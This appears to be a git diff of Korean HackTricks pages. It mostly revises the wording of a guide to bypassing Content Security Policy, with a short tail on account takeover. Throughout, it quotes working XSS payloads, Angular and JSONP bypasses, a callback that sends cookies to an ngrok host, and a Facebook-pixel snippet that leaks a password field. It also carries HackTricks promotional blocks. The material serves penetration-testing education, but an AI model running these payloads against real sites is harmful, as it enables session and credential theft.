* 희생자의 이메일이 공격자가 지정한 이메일로 변경됩니다.
|
||||
* 공격자는 비밀번호를 복구하고 계정을 탈취할 수 있습니다.
|
||||
|
||||
이는 [**이 보고서**](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea)에서도 발생했습니다.
|
||||
|
||||
### 이전 쿠키
|
||||
|
||||
[**이 게시물**](https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9)에서 설명한대로, 계정에 로그인하고 인증된 사용자로서 쿠키를 저장한 다음 로그아웃하고 다시 로그인할 수 있었습니다.\
|
||||
새로운 로그인에서는 다른 쿠키가 생성될 수 있지만 이전 쿠키가 다시 작동하기 시작했습니다.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050](https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050)
|
||||
|
@ -125,10 +139,11 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소로 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
</details>
|
||||
|
|
|
@ -10,7 +10,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,8 +18,8 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
**HackenProof Discord** 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터들과 소통하세요!
|
||||
|
||||
**해킹 통찰력**\
|
||||
해킹의 스릴과 도전에 대해 탐구하는 콘텐츠와 상호 작용하세요
|
||||
**해킹 통찰**\
|
||||
해킹의 스릴과 도전에 대해 탐구하는 콘텐츠와 상호작용하세요
|
||||
|
||||
**실시간 해킹 뉴스**\
|
||||
빠르게 변화하는 해킹 세계의 최신 뉴스와 통찰력을 유지하세요
|
||||
|
@ -31,7 +31,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## CSP란
|
||||
|
||||
콘텐츠 보안 정책 (CSP)은 주로 **크로스 사이트 스크립팅 (XSS)와 같은 공격으로부터 보호**하기 위해 브라우저 기술로 인식됩니다. 브라우저가 안전하게 로드할 수 있는 리소스의 경로와 소스를 정의하고 설명함으로써 작동합니다. 이러한 리소스에는 이미지, 프레임, 자바스크립트 등이 포함됩니다. 예를 들어, 정책은 동일한 도메인(self)에서 리소스의 로드와 실행을 허용할 수 있으며, 인라인 리소스 및 `eval`, `setTimeout`, 또는 `setInterval`과 같은 함수를 통해 문자열 코드의 실행을 허용할 수 있습니다.
|
||||
콘텐츠 보안 정책 (CSP)은 주로 **크로스사이트 스크립팅 (XSS)와 같은 공격으로부터 보호**하기 위해 브라우저 기술로 인식됩니다. 브라우저가 안전하게 로드할 수 있는 리소스의 경로와 소스를 정의하고 설명함으로써 작동합니다. 이러한 리소스에는 이미지, 프레임, 자바스크립트 등이 포함됩니다. 예를 들어, 정책은 동일한 도메인(self)에서 리소스의 로드와 실행을 허용할 수 있으며, 인라인 리소스 및 `eval`, `setTimeout`, 또는 `setInterval`과 같은 함수를 통해 문자열 코드의 실행을 허용할 수 있습니다.
|
||||
|
||||
CSP의 구현은 **응답 헤더를 통해** 또는 **HTML 페이지에 메타 요소를 포함**하여 수행됩니다. 이 정책에 따라 브라우저는 이러한 규정을 적극적으로 시행하고 감지된 위반 사항을 즉시 차단합니다.
|
||||
```
|
||||
|
@ -45,8 +45,8 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
|||
|
||||
CSP는 다음 헤더를 사용하여 강제하거나 모니터링할 수 있습니다:
|
||||
|
||||
* `Content-Security-Policy`: CSP를 강제합니다. 브라우저는 위반 사항을 차단합니다.
|
||||
* `Content-Security-Policy-Report-Only`: 모니터링에 사용됩니다. 위반 사항을 차단하지 않고 보고합니다. 프리 프로덕션 환경에서 테스트하는 데 이상적입니다.
|
||||
* `Content-Security-Policy`: CSP를 강제합니다; 브라우저는 위반 사항을 차단합니다.
|
||||
* `Content-Security-Policy-Report-Only`: 모니터링에 사용됩니다; 위반 사항을 차단하지 않고 보고합니다. 프리 프로덕션 환경에서 테스트하는 데 이상적입니다.
|
||||
|
||||
### 리소스 정의
|
||||
|
||||
|
@ -65,13 +65,13 @@ object-src 'none';
|
|||
### 지시문
|
||||
|
||||
* **script-src**: URL, 인라인 스크립트 및 이벤트 핸들러 또는 XSLT 스타일시트에 의해 트리거된 스크립트를 포함한 JavaScript에 대한 특정 소스를 허용합니다.
|
||||
* **default-src**: 특정 fetch 지시문이 없을 때 리소스를 가져오기 위한 기본 정책을 설정합니다.
|
||||
* **default-src**: 특정 가져오기 지시문이 없는 경우 리소스를 가져오기 위한 기본 정책을 설정합니다.
|
||||
* **child-src**: 웹 워커 및 임베디드 프레임 콘텐츠에 대한 허용된 리소스를 지정합니다.
|
||||
* **connect-src**: fetch, WebSocket, XMLHttpRequest와 같은 인터페이스를 사용하여 로드할 수 있는 URL을 제한합니다.
|
||||
* **frame-src**: 프레임용 URL을 제한합니다.
|
||||
* **frame-ancestors**: `<frame>`, `<iframe>`, `<object>`, `<embed>`, `<applet>`과 같은 요소에 적용되며 현재 페이지를 임베드 할 수 있는 소스를 지정합니다.
|
||||
* **img-src**: 이미지에 대한 허용된 소스를 정의합니다.
|
||||
* **font-src**: `@font-face`를 사용하여 로드되는 글꼴의 유효한 소스를 지정합니다.
|
||||
* **font-src**: `@font-face`를 사용하여 로드된 글꼴에 대한 유효한 소스를 지정합니다.
|
||||
* **manifest-src**: 애플리케이션 매니페스트 파일의 허용된 소스를 정의합니다.
|
||||
* **media-src**: 미디어 객체를 로드할 수 있는 허용된 소스를 정의합니다.
|
||||
* **object-src**: `<object>`, `<embed>`, `<applet>` 요소에 대한 허용된 소스를 정의합니다.
|
||||
|
@ -80,7 +80,7 @@ object-src 'none';
|
|||
* **plugin-types**: 페이지에서 호출할 수 있는 MIME 유형을 제한합니다.
|
||||
* **upgrade-insecure-requests**: 브라우저에게 HTTP URL을 HTTPS로 재작성하도록 지시합니다.
|
||||
* **sandbox**: `<iframe>`의 sandbox 속성과 유사한 제한을 적용합니다.
|
||||
* **report-to**: 정책이 위반될 경우 보고될 그룹을 지정합니다.
|
||||
* **report-to**: 정책이 위반된 경우 보고가 전송될 그룹을 지정합니다.
|
||||
* **worker-src**: Worker, SharedWorker 또는 ServiceWorker 스크립트에 대한 유효한 소스를 지정합니다.
|
||||
* **prefetch-src**: 가져오거나 사전로드될 리소스에 대한 유효한 소스를 지정합니다.
|
||||
* **navigate-to**: 문서가 어떠한 방법으로든 이동할 수 있는 URL을 제한합니다 (a, form, window.location, window.open 등).
|
||||
|
@ -89,13 +89,13 @@ object-src 'none';
|
|||
|
||||
* `*`: `data:`, `blob:`, `filesystem:` 스키마를 제외한 모든 URL을 허용합니다.
|
||||
* `'self'`: 동일한 도메인에서 로드를 허용합니다.
|
||||
* `'data'`: 데이터 스키마를 통해 리소스를 로드할 수 있도록 허용합니다 (예: Base64로 인코딩된 이미지).
|
||||
* `'none'`: 모든 소스에서의 로드를 차단합니다.
|
||||
* `'unsafe-eval'`: `eval()` 및 유사한 메서드의 사용을 허용하며 보안상 권장되지 않습니다.
|
||||
* `'data'`: 데이터 스키마를 통해 리소스를 로드할 수 있게 합니다 (예: Base64로 인코딩된 이미지).
|
||||
* `'none'`: 모든 소스로부터의 로드를 차단합니다.
|
||||
* `'unsafe-eval'`: `eval()` 및 유사한 메서드의 사용을 허용하지만 보안상 권장되지 않습니다.
|
||||
* `'unsafe-hashes'`: 특정 인라인 이벤트 핸들러를 활성화합니다.
|
||||
* `'unsafe-inline'`: 인라인 `<script>` 또는 `<style>`과 같은 리소스의 사용을 허용하며 보안상 권장되지 않습니다.
|
||||
* `'nonce'`: 암호화된 난스(일회용 번호)를 사용하여 특정 인라인 스크립트를 화이트리스트로 지정합니다.
|
||||
* 페이지 내에서 사용된 난스를 가져와 악의적인 스크립트를 로드할 수 있습니다 (strict-dynamic이 사용된 경우, 허용된 소스는 새로운 소스를 로드할 수 있으므로 이 작업이 필요하지 않음). 아래와 같이 사용할 수 있습니다:
|
||||
* `'unsafe-inline'`: 인라인 `<script>` 또는 `<style>`과 같은 리소스의 사용을 허용하지만 보안상 권장되지 않습니다.
|
||||
* `'nonce'`: 암호화된 난스(일회용 번호)를 사용하여 특정 인라인 스크립트에 대한 화이트리스트를 제공합니다.
|
||||
* JS 실행이 제한된 경우 `doc.defaultView.top.document.querySelector("[nonce]")`를 사용하여 페이지 내에서 사용된 난스를 가져올 수 있으며, 그 후 악의적인 스크립트를 로드하기 위해 재사용할 수 있습니다 (strict-dynamic이 사용된 경우, 허용된 소스는 새로운 소스를 로드할 수 있으므로 이는 필요하지 않음), 다음과 같이:
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -117,9 +117,9 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
* `https:`: HTTPS를 사용하는 URL로 제한합니다.
|
||||
* `blob:`: Blob URL (예: JavaScript를 통해 생성된 Blob URL)에서 리소스를로드 할 수 있습니다.
|
||||
* `filesystem:`: 파일 시스템에서 리소스를로드 할 수 있습니다.
|
||||
* `'report-sample'`: 위반 보고서에 위반 코드의 샘플을 포함합니다 (디버깅에 유용).
|
||||
* `'strict-origin'`: 'self'와 유사하지만 소스의 프로토콜 보안 수준이 문서와 일치하는지 확인합니다 (안전한 원본만 안전한 원본에서 리소스를로드 할 수 있음).
|
||||
* `'strict-origin-when-cross-origin'`: 동일 출처 요청을 만들 때 전체 URL을 보내지만 요청이 교차 출처 인 경우에는 원산지 만 보냅니다.
|
||||
* `'report-sample'`: 위반 코드의 샘플을 위반 보고서에 포함합니다 (디버깅에 유용).
|
||||
* `'strict-origin'`: 'self'와 유사하지만 소스의 프로토콜 보안 수준이 문서와 일치하는지 확인합니다 (안전한 소스만 안전한 소스에서 리소스를로드 할 수 있음).
|
||||
* `'strict-origin-when-cross-origin'`: 동일 출처 요청을 만들 때 전체 URL을 보내지만 교차 출처 요청을 만들 때는 원본만 보냅니다.
|
||||
* `'unsafe-allow-redirects'`: 즉시 다른 리소스로 리디렉션될 수있는 리소스를로드 할 수 있습니다. 보안을 약화시키므로 권장되지 않습니다.
|
||||
|
||||
## 안전하지 않은 CSP 규칙
|
||||
|
@ -130,7 +130,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
|||
```
|
||||
작동하는 payload: `"/><script>alert(1);</script>`
|
||||
|
||||
#### self + 'unsafe-inline'를 이용한 Iframes
|
||||
#### self + 'unsafe-inline'를 Iframes를 통해 우회
|
||||
|
||||
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
|
||||
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
|
||||
|
@ -150,7 +150,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
|||
```
|
||||
### strict-dynamic
|
||||
|
||||
만약 허용된 JS 코드가 DOM에서 새 스크립트 태그를 만들도록 할 수 있다면, 새로운 스크립트 태그는 실행이 허용될 것입니다. 왜냐하면 허용된 스크립트가 그것을 생성하기 때문입니다.
|
||||
만약 허용된 JS 코드가 DOM에서 새 스크립트 태그를 만들도록 할 수 있다면, 새로운 스크립트 태그는 실행이 허용될 것입니다.
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
|
@ -187,15 +187,15 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
|||
```
|
||||
그러나 서버가 **업로드된 파일을 유효성 검사**하고 **특정 유형의 파일만 업로드**할 수 있도록 허용할 가능성이 매우 높습니다.
|
||||
|
||||
또한 서버가 허용하는 확장자를 사용하여 파일 내에 **JS 코드를 업로드**할 수 있더라도 (예: _script.png_), 이것만으로는 충분하지 않습니다. 왜냐하면 Apache 서버와 같은 일부 서버는 파일의 MIME 유형을 **확장자를 기반으로 선택**하며 Chrome과 같은 브라우저는 이미지여야 하는 것에 Javascript 코드를 실행하지 않도록 **거부**할 것입니다. "행운이라면" 실수가 있습니다. 예를 들어, CTF에서 배운 바에 따르면 **Apache는** _**.wave**_ 확장자를 인식하지 못하기 때문에 **audio/\***와 같은 MIME 유형으로 제공하지 않습니다.
|
||||
또한 서버가 허용하는 확장자를 사용하여 파일 내에 **JS 코드를 업로드**할 수 있다 하더라도 (예: _script.png_), 이것만으로는 충분하지 않습니다. 왜냐하면 Apache 서버와 같이 일부 서버는 **파일의 MIME 유형을 확장자를 기반으로 선택**하며 Chrome과 같은 브라우저는 이미지여야 하는 것에 Javascript 코드를 실행하지 않도록 **거부**할 것입니다. "행운이라면" 실수가 있습니다. 예를 들어, CTF에서 배운 바에 의하면 **Apache는** _**.wave**_ **확장자를 인식하지 않으므로** 오디오/\*와 같은 **MIME 유형으로 제공하지 않습니다**.
|
||||
|
||||
여기서 XSS와 파일 업로드를 찾고 **잘못 해석된 확장자**를 찾으면 해당 확장자를 가진 파일과 스크립트 내용을 업로드해 볼 수 있습니다. 또는 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, **폴리글롯**을 생성할 수 있습니다 ([여기에 일부 폴리글롯 예제가 있습니다](https://github.com/Polydet/polyglot-database)).
|
||||
여기서 XSS와 파일 업로드를 찾고 **잘못 해석된 확장자를 찾는다면**, 해당 확장자를 가진 파일과 스크립트의 내용을 업로드해 보거나, 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, **다중언어**를 생성할 수 있습니다 ([여기에 일부 다중언어 예제](https://github.com/Polydet/polyglot-database)가 있습니다).
|
||||
|
||||
### Form-action
|
||||
|
||||
JS를 삽입할 수 없는 경우, 예를 들어 자격 증명을 유출하기 위해 **폼 액션을 삽입**해 볼 수 있습니다 (그리고 비밀번호 관리자가 자동으로 비밀번호를 채우기를 기대할 수도 있습니다). [**이 보고서에서 예제를 찾을 수 있습니다**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). 또한 `default-src`가 폼 액션을 포함하지 않는다는 점에 유의하십시오.
|
||||
JS를 삽입할 수 없는 경우, 예를 들어 자격 증명을 유출하기 위해 **양식 작업을 삽입**해 볼 수 있습니다 (그리고 비밀번호 관리자가 자동으로 비밀번호를 채우기를 기대할 수도 있습니다). [**이 보고서에서 예제를 찾을 수 있습니다**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). 또한 `default-src`가 양식 작업을 포함하지 않는다는 점에 유의하십시오.
|
||||
|
||||
### 써드파티 엔드포인트 + ('unsafe-eval')
|
||||
### 제3자 엔드포인트 + ('unsafe-eval')
|
||||
|
||||
{% hint style="warning" %}
|
||||
다음 페이로드 중 일부에 대해 **`unsafe-eval`가 필요하지 않을 수도 있습니다**.
|
||||
|
@ -224,10 +224,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### Angular + `window` 객체를 반환하는 함수를 포함하는 라이브러리를 사용한 Payloads ([이 게시물을 확인하세요](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
#### Angular 및 `window` 객체를 반환하는 함수를 포함하는 라이브러리를 사용한 Payload:
|
||||
|
||||
{% hint style="info" %}
|
||||
이 게시물은 `cdn.cloudflare.com` (또는 다른 허용된 JS 라이브러리 저장소)에서 모든 라이브러리를 **로드**할 수 있으며, 각 라이브러리에서 추가된 모든 함수를 실행하고, **어떤 라이브러리의 어떤 함수가 `window` 객체를 반환하는지 확인**할 수 있다.
|
||||
이 게시물은 `cdn.cloudflare.com` (또는 다른 허용된 JS 라이브러리 저장소)에서 모든 라이브러리를 **로드**할 수 있으며, 각 라이브러리에서 추가된 모든 함수를 실행하고, **어떤 라이브러리의 어떤 함수가 `window` 객체를 반환하는지** 확인할 수 있다.
|
||||
{% endhint %}
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
|
@ -252,9 +252,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||
{{[].erase.call().alert('xss')}}
|
||||
</div>
|
||||
```
|
||||
Angular XSS from a class name:
|
||||
|
||||
Angular 클래스 이름에서 XSS:
|
||||
Angular XSS from a class name:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
|
@ -273,7 +271,7 @@ ng-init="c.init()"
|
|||
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
```
|
||||
더 많은 [**이 기사에서의 페이로드**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/) :
|
||||
더 많은 [**이 writeup의 payloads**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/)에서:
|
||||
```html
|
||||
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
|
||||
|
||||
|
@ -296,13 +294,13 @@ https://www.google.com/amp/s/example.com/
|
|||
```
|
||||
### 제 3자 엔드포인트 + JSONP
|
||||
|
||||
\*.google.com/script.google.com을 남용하는 것이 가능합니다.
|
||||
\*.google.com/script.google.com 남용
|
||||
|
||||
Google Apps Script를 남용하여 script.google.com 내의 페이지에서 정보를 수신할 수 있습니다. 이는 [이 보고서](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)에서 수행된 것처럼 가능합니다.
|
||||
Google Apps Script를 남용하여 script.google.com 내의 페이지에서 정보를 수신하는 것이 가능합니다. 이는 [이 보고서](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)에서 수행된 것처럼 가능합니다.
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
다음과 같은 시나리오에서는 `script-src`가 `self` 및 특정 도메인으로 설정된 경우 JSONP를 사용하여 우회할 수 있습니다. JSONP 엔드포인트는 안전하지 않은 콜백 방법을 허용하여 공격자가 XSS를 수행할 수 있게 합니다. 작동하는 payload:
|
||||
Scenarios like this where `script-src` is set to `self` and a particular domain which is whitelisted can be bypassed using JSONP. JSONP endpoints allow insecure callback methods which allow an attacker to perform XSS, working payload:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
|
@ -318,7 +316,7 @@ https://www.youtube.com/oembed?callback=alert;
|
|||
|
||||
### 제3자 남용
|
||||
|
||||
[다음 게시물](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)에 설명된 대로, CSP 어딘가에서 허용된 많은 제3자 도메인들은 데이터 유출이나 JavaScript 코드 실행을 위해 남용될 수 있습니다. 이러한 제3자 중 일부는 다음과 같습니다:
|
||||
[다음 게시물](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)에 설명된 대로, CSP 어딘가에서 허용된 많은 제3자 도메인은 데이터 유출이나 JavaScript 코드 실행을 위해 남용될 수 있습니다. 이러한 제3자 중 일부는 다음과 같습니다:
|
||||
|
||||
| Entity | Allowed Domain | Capabilities |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
|
@ -337,38 +335,32 @@ https://www.youtube.com/oembed?callback=alert;
|
|||
```
|
||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
# Content Security Policy (CSP) Bypass
|
||||
## Content Security Policy (CSP) Bypass
|
||||
|
||||
## Introduction
|
||||
### Introduction
|
||||
|
||||
In some scenarios, you may encounter a website that has a strict Content Security Policy (CSP) in place, which restricts the sources from which certain types of content can be loaded on that website. However, there are ways to bypass CSP protections and execute malicious code on the target website.
|
||||
|
||||
## Bypass Techniques
|
||||
### Bypassing CSP using Unrestricted Directives
|
||||
|
||||
### 1. Inline Script Execution
|
||||
One common way to bypass CSP is by utilizing unrestricted directives such as `'unsafe-inline'` and `'unsafe-eval'`. These directives allow inline scripts and dynamic code evaluation, which can be exploited by an attacker to execute malicious code.
|
||||
|
||||
One common way to bypass CSP is by executing inline scripts. By injecting JavaScript code directly into HTML elements, you can bypass CSP restrictions that block external script sources.
|
||||
### Exploiting Browser Extensions
|
||||
|
||||
### 2. Data: URI Scheme
|
||||
Another method to bypass CSP is by exploiting vulnerabilities in browser extensions. By finding and exploiting a vulnerability in a trusted browser extension, an attacker can execute code within the context of the target website, bypassing CSP restrictions.
|
||||
|
||||
Another technique is to use the `data:` URI scheme to embed external resources directly within the HTML document. This can be used to bypass CSP restrictions on loading external resources.
|
||||
### Conclusion
|
||||
|
||||
### 3. Using Trusted Libraries
|
||||
|
||||
If the target website allows loading scripts from specific libraries or CDNs, you can leverage this to bypass CSP restrictions. By loading malicious code from a trusted source, you can execute it on the target website.
|
||||
|
||||
## Conclusion
|
||||
|
||||
Content Security Policy (CSP) is an important security mechanism to prevent various types of attacks such as cross-site scripting (XSS). However, it is crucial for developers to properly configure CSP to avoid common bypass techniques that can be exploited by attackers.
|
||||
Content Security Policy (CSP) is a crucial security mechanism to prevent various types of attacks such as cross-site scripting (XSS). However, it is important to be aware of potential bypass techniques in order to secure websites effectively against malicious actors.
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
1. 여기에서 Facebook 개발자 계정을 만듭니다.
|
||||
1. [여기](https://developers.facebook.com/)에서 Facebook 개발자 계정을 만듭니다.
|
||||
2. "Facebook Login" 앱을 만들고 "웹사이트"를 선택합니다.
|
||||
3. "설정 -> 기본"으로 이동하여 "앱 ID"를 가져옵니다.
|
||||
4. 데이터를 유출하려는 대상 사이트에서 Facebook SDK 가젯 "fbq"를 직접 사용하여 "customEvent"와 데이터 페이로드를 통해 데이터를 유출할 수 있습니다.
|
||||
5. 앱 "이벤트 관리자"로 이동하여 생성한 애플리케이션을 선택합니다 (이벤트 관리자는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. "테스트 이벤트" 탭을 선택하여 "당신의" 웹 사이트에서 전송되는 이벤트를 확인합니다.
|
||||
5. 앱 "이벤트 관리자"로 이동하여 만든 애플리케이션을 선택합니다 (이벤트 관리자는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events_manager2/list/pixel/\[app-id]/test_events).
|
||||
6. "테스트 이벤트" 탭을 선택하여 "당신의" 웹 사이트에서 보내는 이벤트를 확인합니다.
|
||||
|
||||
그런 다음 피해자 측에서 다음 코드를 실행하여 Facebook 추적 픽셀을 초기화하고 공격자의 Facebook 개발자 계정 앱 ID를 가리키도록하고 다음과 같이 사용자 정의 이벤트를 발생시킵니다:
|
||||
```JavaScript
|
||||
|
@ -377,23 +369,23 @@ fbq('trackCustom', 'My-Custom-Event',{
|
|||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
### 이전 표에서 지정된 다른 일곱 개의 서드파티 도메인에 대해서는 그들을 남용할 수 있는 다양한 방법이 있습니다. 다른 서드파티 남용에 대한 추가 설명은 이전의 [블로그 게시물](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)을 참조하십시오.
|
||||
### 이전 표에서 지정된 다른 일곱 개의 타사 도메인에 대해서는 그들을 남용할 수 있는 다양한 방법이 있습니다. 다른 타사 남용에 대한 추가 설명은 이전 [블로그 게시물](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)을 참조하십시오.
|
||||
|
||||
### RPO (상대 경로 덮어쓰기)를 통한 우회 <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
경로 제한을 우회하기 위한 앞서 언급한 리다이렉션 외에도, 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기 (RPO)라는 기술이 있습니다.
|
||||
경로 제한을 우회하기 위한 상기 언급된 리다이렉션 외에도, 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기 (RPO)라는 기술이 있습니다.
|
||||
|
||||
예를 들어, CSP가 `https://example.com/scripts/react/` 경로를 허용한다면, 다음과 같이 우회할 수 있습니다:
|
||||
예를 들어, CSP가 `https://example.com/scripts/react/` 경로를 허용한다면, 다음과 같이 우회될 수 있습니다:
|
||||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
브라우저는 최종적으로 `https://example.com/scripts/angular/angular.js`를 로드합니다.
|
||||
|
||||
이는 브라우저에게 `https://example.com/scripts/react/`에 위치한 `..%2fangular%2fangular.js`라는 파일을 로드하고 있으며, 이는 CSP와 호환되어 있기 때문에 작동합니다.
|
||||
이는 브라우저에게 `https://example.com/scripts/react/` 아래에 위치한 `..%2fangular%2fangular.js`라는 파일을 로드하고 있기 때문에 작동합니다. 이는 CSP와 호환됩니다.
|
||||
|
||||
따라서 브라우저는 이를 디코딩하여 `https://example.com/scripts/react/../angular/angular.js`를 요청하게 되는데, 이는 `https://example.com/scripts/angular/angular.js`와 동등합니다.
|
||||
따라서 브라우저는 이를 디코딩하여 `https://example.com/scripts/react/../angular/angular.js`를 요청하게 되며, 이는 `https://example.com/scripts/angular/angular.js`와 동일합니다.
|
||||
|
||||
**브라우저와 서버 간 URL 해석의 불일치를 이용하여 경로 규칙을 우회**할 수 있습니다.
|
||||
**서버와 브라우저 간 URL 해석의 불일치를 악용하여 경로 규칙을 우회**할 수 있습니다.
|
||||
|
||||
해결책은 서버 측에서 `%2f`를 `/`로 처리하지 않도록하여 브라우저와 서버 간 일관된 해석을 보장하여 이 문제를 피하는 것입니다.
|
||||
|
||||
|
@ -409,8 +401,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
|||
|
||||
**base-uri** 지시문이 누락된 경우 [**dangling markup injection**](../dangling-markup-html-scriptless-injection/)을 수행할 수 있습니다.
|
||||
|
||||
또한, **페이지가 Nonce를 사용하여 상대 경로로 스크립트를 로드하는 경우** (예: `<script src="/js/app.js">`), **base** **tag**를 남용하여 **자체 서버에서 스크립트를 로드**하도록 만들어 **XSS를 성공시킬 수 있습니다.**\
|
||||
취약한 페이지가 **httpS**로 로드된 경우, base에 httpS URL을 사용하십시오.
|
||||
또한, **페이지가 Nonce를 사용하여 상대 경로로 스크립트를 로드하는 경우** (예: `<script src="/js/app.js">`), **base** **tag**를 악용하여 **자체 서버에서 스크립트를 로드**하도록 만들어 **XSS를 성공시킬 수 있습니다.** 취약한 페이지가 **httpS**로 로드된 경우, base에 httpS URL을 사용하십시오.
|
||||
```html
|
||||
<base href="https://www.attacker.com/">
|
||||
```
|
||||
|
@ -418,12 +409,12 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
|||
|
||||
